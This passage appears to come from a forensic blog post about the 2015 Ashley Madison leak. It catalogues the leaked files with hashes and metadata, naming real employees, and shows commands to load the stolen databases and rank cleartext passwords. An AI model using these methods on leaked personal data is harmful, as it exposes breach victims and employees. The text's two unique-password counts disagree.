If none of those  things happen, I don’t think these attackers will ever be caught. The cyber-crime fighters have a daunting task in front of them, I’ve helped out a couple FBI and NYPD cyber-crime fighters and I do not envy the difficult and frustrating job they have — good luck to them! Today we’re living in the Wild West days of the Internet.

———–[Leaked file extraction and evidence gathering]

Now to document the information seen within this data leak we proceed with a couple of commands to gather the file size and we’ll also check the file hashes to ensure the uniqueness of the files. Finally we review the meta-data of some of the compressed files. The meta-data shows the time-stamp embedded into the various compressed files. Although meta-data can easily be faked, it is usually not.

Next we’ll extract these files and examine their file size to take a closer look.

$ 7z e ashleymadisondump.7z

We find within the extracted 7zip file another 7zip file
“swappernet_User_Table.7z” was found and also extracted.

We now have the following files sizes and SHA1 hashes for evidence
integrity & auditing purposes:

$ du -sh ashleymadisondump/*
68K     20131002-domain-list.xlsx
52K     ALMCLUSTER (production domain) computers.txt
120K    ALMCLUSTER (production domain) hashdump.txt
68K     ALM - Corporate Chart.pptx
256K    ALM Floor Plan - ports and names.pdf
8.0M    ALM - January 2015 - Company Overview.pptx
1.8M    ALM Labs Inc. Articles of Incorporation.pdf
708K    announcement.png
8.0K    Areas of concern - customer data.docx
8.0K    ARPU and ARPPU.docx
940K    Ashley Madison Technology Stack v5(1).docx
16K     Avid Life Media - Major Shareholders.xlsx
36K     AVIDLIFEMEDIA (primary corporate domain) computers.txt
332K    AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
1.7M    Avid Org Chart 2015 - May 14.pdf
24K     Banks.xlsx
6.1M    Copies of Option Agreements.pdf
8.0K    Credit useage.docx
16K     CSF Questionnaire (Responses).xlsx
132K    Noel's loan agreement.pdf
8.0K    Number of traveling man purchases.docx
1.5M    oneperday_am_am_member.txt
940K    oneperday_aminno_member.txt
672K    oneperday.txt
44K     paypal accounts.xlsx
372K    [email protected]_20101103_133855.pdf
16K     q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
8.0K    README.txt
8.0K    Rebill Success Rate Queries.docx
8.0K    Rev by traffic source rebill broken out.docx
8.0K    Rev from organic search traffic.docx
4.0K    Sales Queries
59M     swappernet_QA_User_Table.txt  #this was extracted from swappernet_User_Table.7z in the same dir
17M     swappernet_User_Table.7z

$ sha1sum ashleymadisondump/*
f0af9ea887a41eb89132364af1e150a8ef24266f  20131002-domain-list.xlsx
30401facc68dab87c98f7b02bf0a986a3c3615f0  ALMCLUSTER (production domain) computers.txt
c36c861fd1dc9cf85a75295e9e7bcf6cf04c7d2c  ALMCLUSTER (production domain) hashdump.txt
6be635627aa38462ebcba9266bed5b492a062589  ALM - Corporate Chart.pptx
4dec7623100f59395b68fd13d3dcbbff45bef9c9  ALM Floor Plan - ports and names.pdf
601e0b462e1f43835beb66743477fe94bbda5293  ALM - January 2015 - Company Overview.pptx
d17cb15a5e3af15bc600421b10152b2ea1b9c097  ALM Labs Inc. Articles of Incorporation.pdf
1679eca2bc172cba0b5ca8d14f82f9ced77f10df  announcement.png
6a618e7fc62718b505afe86fbf76e2360ade199d  Areas of concern - customer data.docx
91f65350d0249211234a52b260ca2702dd2eaa26  ARPU and ARPPU.docx
50acee0c8bb27086f12963e884336c2bf9116d8a  Ashley Madison Technology Stack v5(1).docx
71e579b04bbba4f7291352c4c29a325d86adcbd2  Avid Life Media - Major Shareholders.xlsx
ef8257d9d63fa12fb7bc681320ea43d2ca563e3b  AVIDLIFEMEDIA (primary corporate domain) computers.txt
ec54caf0dc7c7206a7ad47dad14955d23b09a6c0  AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
614e80a1a6b7a0bbffd04f9ec69f4dad54e5559e  Avid Org Chart 2015 - May 14.pdf
c3490d0f6a09bf5f663cf0ab173559e720459649  Banks.xlsx
1538c8f4e537bb1b1c9a83ca11df9136796b72a3  Copies of Option Agreements.pdf
196b1ba40894306f05dcb72babd9409628934260  Credit useage.docx
2c9ba652fb96f6584d104e166274c48aa4ab01a3  CSF Questionnaire (Responses).xlsx
0068bc3ee0dfb796a4609996775ff4609da34acb  Noel's loan agreement.pdf
c3b4d17fc67c84c54d45ff97eabb89aa4402cae8  Number of traveling man purchases.docx
9e6f45352dc54b0e98932e0f2fe767df143c1f6d  oneperday_am_am_member.txt
de457caca9226059da2da7a68caf5ad20c11de2e  oneperday_aminno_member.txt
d596e3ea661cfc43fd1da44f629f54c2f67ac4e9  oneperday.txt
37fdc8400720b0d78c2fe239ae5bf3f91c1790f4  paypal accounts.xlsx
2539bc640ea60960f867b8d46d10c8fef5291db7  [email protected]_20101103_133855.pdf
5bb6176fc415dde851262ee338755290fec0c30c  q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
5435bfbf180a275ccc0640053d1c9756ad054892  README.txt
872f3498637d88ddc75265dab3c2e9e4ce6fa80a  Rebill Success Rate Queries.docx
d4e80e163aa1810b9ec70daf4c1591f29728bf8e  Rev by traffic source rebill broken out.docx
2b5f5273a48ed76cd44e44860f9546768bda53c8  Rev from organic search traffic.docx
sha1sum: Sales Queries: Is a directory
0f63704c118e93e2776c1ad0e94fdc558248bf4e  swappernet_QA_User_Table.txt
9d67a712ef6c63ae41cbba4cf005ebbb41d92f33  swappernet_User_Table.7z

———–[Quick summary of each of the leaked files]

The following files are MySQL data dumps of the main AM database:

• member_details.dump.gz
• aminno_member.dump.gz
• member_login.dump.gz
• aminno_member_email.dump.gz
• CreditCardTransactions.7z

Also included was another AM database which contains user info (separate from the emails):

• am_am.dump.gz

In the top level directory you can also find these additional files:

• 74ABAA38.txt
  Impact Team’s Public PGP key used for signing the releases (The .asc files are the signatures)
• ashleymadisondump.7z
  This contains various internal and corporate private files.
• README
  Impact Team’s justification for releasing the user data.
• Various .asc files such as “member_details.dump.gz.asc”
  These are all PGP signature files to prove that one or more persons who are part of the “Impact Team” attackers released them.

Within the ashleymadisondump.7z we can extract and view the following files:

• Number of traveling man purchases.docx
  SQL queries to investigate high-travel user’s purchases.
• q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
  Per-employee compensation listings.
• AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
• AVIDLIFEMEDIA (primary corporate domain) computers.txt
  The output of the dnscmd windows command executing on what appears to be a primary domain controller. The timestamp indicates that the command was run on July 1st 2015. There is also “pwdump” style export of 1324 user accounts which appear to be from the ALM domain controller. These passwords will be easy to crack as NTLM hashes aren’t the strongest
• Noel’s loan agreement.pdf
  A promissory note for the CEO to pay back ~3MM in Canadian monies.
• Areas of concern – customer data.docx
  Appears to be a risk profile of the major security concerns that ALM has regarding their customer’s data. And yes, a major user data dump is on the list of concerns.
• Banks.xlsx
  A listing of all ALM associated bank account numbers and the biz which owns them.
• Rev by traffic source rebill broken out.docx
• Rebill Success Rate Queries.docx
  Both of these are SQL queries to investigate Rebilling of customers.
• README.txt
  Impact Team statement regarding their motivations for the attack and leak.
• Copies of Option Agreements.pdf
  All agreements for what appears all of the company’s outstanding options.
• paypal accounts.xlsx
  Various user/passes for ALM paypal accounts (16 in total)
• swappernet_QA_User_Table.txt
• swappernet_User_Table.7z
  This file is a database export into CSV format. I appears to be from a QA server
• ALMCLUSTER (production domain) computers.txt
  The output of the dnscmd windows command executing on what appears to be a production domain controller. The timestamp indicates that the command was run on July 1st 2015.
• ALMCLUSTER (production domain) hashdump.txt
  A “pwdump” style export of 1324 user accounts which appear to be from the ALM domain controller. These passwords will be easy to crack as NTLM hashes aren’t the strongest.
• ALM Floor Plan – ports and names.pdf
  Seating map of main office, this type of map is usually used for network deployment purposes.
• ARPU and ARPPU.docx
  A listing of SQL commands which provide revenue and other macro financial health info.
  Presumably these queries would run on the primary DB or a biz intel slave.
• Credit useage.docx
  SQL queries to investigate credit card purchases.
• Avid Org Chart 2015 – May 14.pdf
  A per-team organizational chart of what appears to be the entire company.
• announcement.png
  The graphic created by Impact Team to announce their demand for ALM to shut down it’s flagship website AM.
• [email protected]_20101103_133855.pdf
  Contract outlining the terms of a purchase of the biz Seekingarrangement.com
• CSF Questionnaire (Responses).xlsx
  Company exec Critical Success Factors spreadsheet. Answering questions like “In what area would you hate to see something go wrong?” and the CTO’s response is about hacking.
• ALM – January 2015 – Company Overview.pptx
  This is a very detailed breakdown of current biz health, marketing spend, and future product plans.
• Ashley Madison Technology Stack v5(1).docx
  A detailed walk-through of all major servers and services used in the ALM production environment.
• oneperday.txt
• oneperday_am_am_member.txt
• oneperday_aminno_member.txt
  These three files have limited leak info as a “teaser” for the .dump files that are found in the highest level directory of the AM leak.
• Rev from organic search traffic.docx
  SQL queries to explore the revenue generated from search traffic.
• 20131002-domain-list.xlsx
  BA list of the 1083 domain names that are, have been, or are seeking to be owned by ALM.
• Sales Queries/
  Empty Directory
• ALM Labs Inc. Articles of Incorporation.pdf
  The full 109 page Articles of Incorporation, ever aspect of inital company formation.
• ALM – Corporate Chart.pptx
  A detailed block diagram defining the relationship between various tax and legal business entity names related to ALM businesses.
• Avid Life Media – Major Shareholders.xlsx
  A listing of each major shareholder and their equity stake

———–[File meta-data analysis]

First we’ll take a look at the 7zip file in the top level directory.

$ 7z l ashleymadisondump.7z

Listing archive: ashleymadisondump.7z

----

Path = ashleymadisondump.7z

Type = 7z

Method = LZM

Solid = +

Blocks = 1

Physical Size = 37796243

Headers Size = 1303



   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2015-07-09 12:25:48 ....A     17271957     37794940  swappernet_User_Table.7z
2015-07-10 12:14:35 ....A       723516               announcement.png
2015-07-01 18:03:56 ....A        51222               ALMCLUSTER (production domain) computers.txt
2015-07-01 17:58:55 ....A       120377               ALMCLUSTER (production domain) hashdump.txt
2015-06-25 22:59:22 ....A        35847               AVIDLIFEMEDIA (primary corporate domain) computers.txt
2015-06-14 21:18:11 ....A       339221               AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
2015-07-18 15:23:34 ....A       686533               oneperday.txt
2015-07-18 15:20:43 ....A       959099               oneperday_aminno_member.txt
2015-07-18 19:00:45 ....A      1485289               oneperday_am_am_member.txt
2015-07-19 17:01:11 ....A         6031               README.txt
2015-07-07 11:41:36 ....A         6042               Areas of concern - customer data.docx
2015-07-07 12:14:42 ....A         5907               Sales Queries/ARPU and ARPPU.docx
2015-07-07 12:04:35 ....A       960553               Ashley Madison Technology Stack v5(1).docx
2015-07-07 12:14:42 ....A         5468               Sales Queries/Credit useage.docx
2015-07-07 12:14:43 ....A         5140               Sales Queries/Number of traveling man purchases.docx
2015-07-07 12:14:47 ....A         5489               Sales Queries/Rebill Success Rate Queries.docx
2015-07-07 12:14:43 ....A         5624               Sales Queries/Rev by traffic source rebill broken out.docx
2015-07-07 12:14:42 ....A         6198               Sales Queries/Rev from organic search traffic.docx
2015-07-08 23:17:19 ....A       259565               ALM Floor Plan - ports and names.pdf
2012-10-19 16:54:20 ....A      1794354               ALM Labs Inc. Articles of Incorporation.pdf
2015-07-07 12:04:10 ....A      1766350               Avid Org Chart 2015 - May 14.pdf
2012-10-20 12:23:11 ....A      6344792               Copies of Option Agreements.pdf
2013-09-18 14:39:25 ....A       132798               Noel's loan agreement.pdf
2015-07-07 10:16:54 ....A       380043               [email protected]_20101103_133855.pdf
2012-12-13 15:26:58 ....A        67816               ALM - Corporate Chart.pptx
2015-07-07 12:14:28 ....A      8366232               ALM - January 2015 - Company Overview.pptx
2013-10-07 10:30:28 ....A        67763               20131002-domain-list.xlsx
2013-07-15 15:20:14 ....A        13934               Avid Life Media - Major Shareholders.xlsx
2015-07-09 11:57:58 ....A        22226               Banks.xlsx
2015-07-07 11:41:41 ....A        15703               CSF Questionnaire (Responses).xlsx
2015-07-09 11:57:58 ....A        42511               paypal accounts.xlsx
2015-07-07 12:04:44 ....A        15293               q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
2015-07-18 13:54:40 D....            0            0  Sales Queries
------------------- ----- ------------ ------------  ------------------------
                              41968893     37794940  32 files, 1 folders

If we’re to believe this meta-data, the newest file is from July 19th 2015 and the oldest is from October 19th 2012. The timestamp for the file announcement.png shows a creation date of July 10th 2015. This file is the graphical announcement from the leakers. The file swappernet_User_Table.7z
has a timestamp of July 9th 2015. Since this file is a database dump, one might presume that these files were created for the original release and the other files were copied from a file-system that preserves timestamps.

Within that 7zip file we’ve found another which looks like:

$ 7z l ashleymadisondump/swappernet_User_Table.7z

Listing archive: ./swappernet_User_Table.7z

----

Path = ./swappernet_User_Table.7z

Type = 7z

Method = LZMA

Solid = -

Blocks = 1

Physical Size = 17271957

Headers Size = 158




   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2015-06-27 18:39:40 ....A     61064200     17271799  swappernet_QA_User_Table.txt
------------------- ----- ------------ ------------  ------------------------
                              61064200     17271799  1 files, 0 folders

Within the ashleymadisondump directory extracted from ashleymadisondump.7z we’ve got
the following file types that we’ll examine for meta-data:

The PNG didn’t seem to have any EXIF meta-data, and we’ve already covered the 7z file.

The text files probably don’t usually yield anything to us meta-data wise.

In the MS Word docx files  we have the following meta-data:

• Areas of concern – customer data.docx
  No Metadata
• ARPU and ARPPU.docx
  No Metadata
• Ashley Madison Technology Stack v5(1).docx
  Created Michael Morris, created and last modified on Sep 17 2013.
• Credit useage.docx
  No Metadata
• Number of traveling man purchases.docx
  No Metadata
• Rebill Success Rate Queries.docx
  No Metadata
• Rev by traffic source rebill broken out.docx
  No Metadata
• Rev from organic search traffic.docx
  No Metadata

In the MS Powerpoint pptx files we have the following meta-data:

• ALM – Corporate Chart.pptx
  Created by “Diana Horvat” on Dec 5 2012 and last updated by “Tatiana Kresling”
  on Dec 13th 2012
• ALM – January 2015 – Company Overview.pptx
  Created Rizwan Jiwan, Jan 21 2011 and last modified on Jan 20 2015.

In the MS Excel xlsx files we have the following meta-data:

• 20131002-domain-list.xlsx
  Written by Kevin McCall, created and last modified Oct 2nd 2013
• Avid Life Media – Major Shareholders.xlsx
  Jamal Yehia, created and last modified July 15th 2013
• Banks.xlsx
  Created by “Elena” and Keith Lalonde, created Dec 15 2009 and last modified Feb 26th  2010
• CSF Questionnaire (Responses).xlsx
  No Metadata
• paypal accounts.xlsx
  Created by Keith Lalonde, created Oct 28  2010 and last modified Dec 22nd  2010
• q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
  No Metadata

And finally within the PDF files we also see additional meta-data:

• ALM Floor Plan – ports and names.pdf
  Written by Martin Price in MS Visio, created and last modified April 23 2015
• ALM Labs Inc. Articles of Incorporation.pdf
  Created with DocsCorp Pty Ltd (www.docscorp.com), created and last modified on Oct 17 2012
• Avid Org Chart 2015 – May 14.pdf
  Created and last modified on May 14 2015
• Copies of Option Agreements.pdf
  OmniPage CSDK 16 OcrToolkit, created and last modified on Oct 16 2012
• Noel’s loan agreement.pdf
  Created and last modified on Sep 18 2013
• [email protected]_20101103_133855.pdf
  Created and last modified on Jul 7 2015

———–[MySQL Dump file loading and evidence gathering]

At this point all of the dump files have been decompressed with gunzip or 7zip. The dump files are standard MySQL backup file (aka Dump files) the info in the dump files implies that it was taken from multiple servers:

$ grep 'MySQL dump' *.dump
am_am.dump:-- MySQL dump 10.13  Distrib 5.5.33, for Linux (x86_64)
aminno_member.dump:-- MySQL dump 10.13  Distrib 5.5.40-36.1, for Linux (x86_64)
aminno_member_email.dump:-- MySQL dump 10.13  Distrib 5.5.40-36.1, for Linux (x86_64)
member_details.dump:-- MySQL dump 10.13  Distrib 5.5.40-36.1, for Linux (x86_64)
member_login.dump:-- MySQL dump 10.13  Distrib 5.5.40-36.1, for Linux (x86_64)

Also within the dump files was info referencing being executed from localhost, this implies an attacker was on the Database server in question.

Of course, all of this info is just text and can easily be faked, but it’s interesting none-the-less considering the possibility that it might be correct and unaltered.

To load up the MySQL dumps we’ll start with a fresh MySQL database instance
on a decently powerful server and run the following commands:

--As root MySQL user
CREATE DATABASE aminno;
CREATE DATABASE am;
CREATE USER 'am'@'localhost' IDENTIFIED BY 'loyaltyandfidelity';
GRANT ALL PRIVILEGES ON aminno.* TO 'am'@'localhost';
GRANT ALL PRIVILEGES ON am.* TO 'am'@'localhost';

Now back at the command line we’ll execute these to import the main dumps:

$ mysql -D aminno -uam -ployaltyandfidelity < aminno_member.dump

$ mysql -D aminno -uam -ployaltyandfidelity < aminno_member_email.dump

$ mysql -D aminno -uam -ployaltyandfidelity < member_details.dump

$ mysql -D aminno -uam -ployaltyandfidelity < member_login.dump

$ mysql -D am -uam -ployaltyandfidelity < am_am.dump

Now that you’ve got the data loaded up you can recreate some of the findings ksugihara made with his analysis here [Edit: It appears ksugihara has taken this offline, I don’t have a mirror]. We didn’t have much more to add for holistic statistics analysis than what he’s already done so check out his blog post for more on the primary data dumps. There still is one last final database export though…

Within the file ashleymadisondump/swappernet_QA_User_Table.txt we have a final database export, but this one is not in the MySQL dump format. It is instead in CSV format. The file name implies this was an export from a QA Database server.

This file has the following columns (left to right in the CSV):

• recid
• id
• username
• userpassword
• refnum
• disable
• ipaddress
• lastlogin
• lngstatus
• strafl
• ap43
• txtCoupon
• bot

Sadly within the file we see user passwords are in clear text which is always a bad security practice. At the moment though we don’t know if these are actual production user account passwords, and if so how old they are. My guess is that these are from an old QA server when AM was a smaller company and hadn’t moved to secure password hashing practices like bcrypt.

These commands show us there are 765,607 records in this database export and
only four of them have a blank password. Many of the passwords repeat and
397,974 of the passwords are unique.

$ cut -d , -f 4 < swappernet_QA_User_Table.txt |wc -l
765607
$ cut -d , -f 4 < swappernet_QA_User_Table.txt | sed '/^s*$/d' |wc -l
765603
$ cut -d , -f 4 < swappernet_QA_User_Table.txt | sed '/^s*$/d' |sort -u |wc -l
387974

Next we see the top 25 most frequently used passwords in this database export
using the command:

$ cut -d , -f 4 < swappernet_QA_User_Table.txt |sort|uniq -c |sort -rn|head -25
   5882 123456
   2406 password
    950 pussy
    948 12345
    943 696969
    917 12345678
    902 fuckme
    896 123456789
    818 qwerty
    746 1234
    734 baseball
    710 harley
    699 swapper
    688 swinger
    647 football
    645 fuckyou
    641 111111
    538 swingers
    482 mustang
    482 abc123
    445 asshole
    431 soccer
    421 654321
    414 1111
    408 hunter

After importing the CSV into MS excel we can use sort and filter to make some
additional statements based on the data.

1. 1. The only logins marked as “lastlogin” column in the year 2015 are from the
      following users:
      SIMTEST101
      SIMTEST130
      JULITEST2
      JULITEST3
      swappernetwork
      JULITEST4
      HEATSEEKERS

1. 1. The final and most recent login was from AvidLifeMedia’s office IP range.
   2. 275,285 of these users have an entry for the txtCupon.
   3. All users with the “bot” column set to TRUE have either passwords

“statueofliberty” or “cake”

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